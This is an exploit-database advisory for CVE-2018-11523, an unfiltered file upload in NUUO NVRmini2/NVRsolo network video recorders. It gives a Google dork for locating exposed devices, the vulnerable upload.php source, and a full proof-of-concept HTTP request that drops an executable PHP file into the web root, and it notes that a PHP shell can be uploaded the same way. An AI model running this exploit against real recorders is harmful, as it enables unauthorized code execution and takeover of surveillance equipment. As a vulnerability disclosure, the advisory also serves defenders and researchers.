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NUUO NVRmini2 / NVRsolo - Arbitrary File Upload Vulnerability
Author
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[Security Risk High
]0day-ID
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CVE
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# Exploit Title: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability
# Google Dork: intitle:NUUO Network Video Recorder Login
# Exploit Author: M3@Pandas
# Vendor Homepage: http://www.nuuo.com
# Software Link: N/A
# Version: all
# Tested on: PHP Linux
# CVE : CVE-2018-11523
==========================
Advisory: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability
Author: M3@pandas From DBAppSecurity
Affected Version: All
==========================
Vulnerability Description
==========================
Recetly, I found an Arbitrary File Upload Vulnerability in 'NUUO NVRmini2' program, NVRmini2 is widely used all over
the world.
Vulnerable cgi: /upload.php
<?php
//echo $_FILES['userfile']['type'];
//echo ":";
//echo $_FILES['userfile']['size'];
//echo ":";
//echo urldecode($_FILES['userfile']['name']);
//echo ":";
//echo $_FILES['userfile']['tmp_name'];
//echo ":";
//echo $_FILES['userfile']['error'];
//echo ":";
echo $_FILES['userfile']['name'];
copy($_FILES["userfile"]["tmp_name"],$_FILES['userfile']['name']);
?>
As the code above, no any filter, so we can upload a php shell directly to the web server.
==========================
POC EXP
==========================
1. Upload 'nuuonvr.php' to web root path:
POST /upload.php HTTP/1.1
Host: 192.168.10.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------969849961
Content-Length: 162
----------969849961
Content-Disposition: form-data; name="userfile"; filename="nuuonvr.php"
?php phpinfo();@unlink(__FILE__);?
----------969849961--
2. Check if the php file is uploaded successfully:
GET http://192.168.10.1/nuuonvr.php
If the page returns phpinfo info, target is vulnerable!
# 0day.today [2024-12-25] #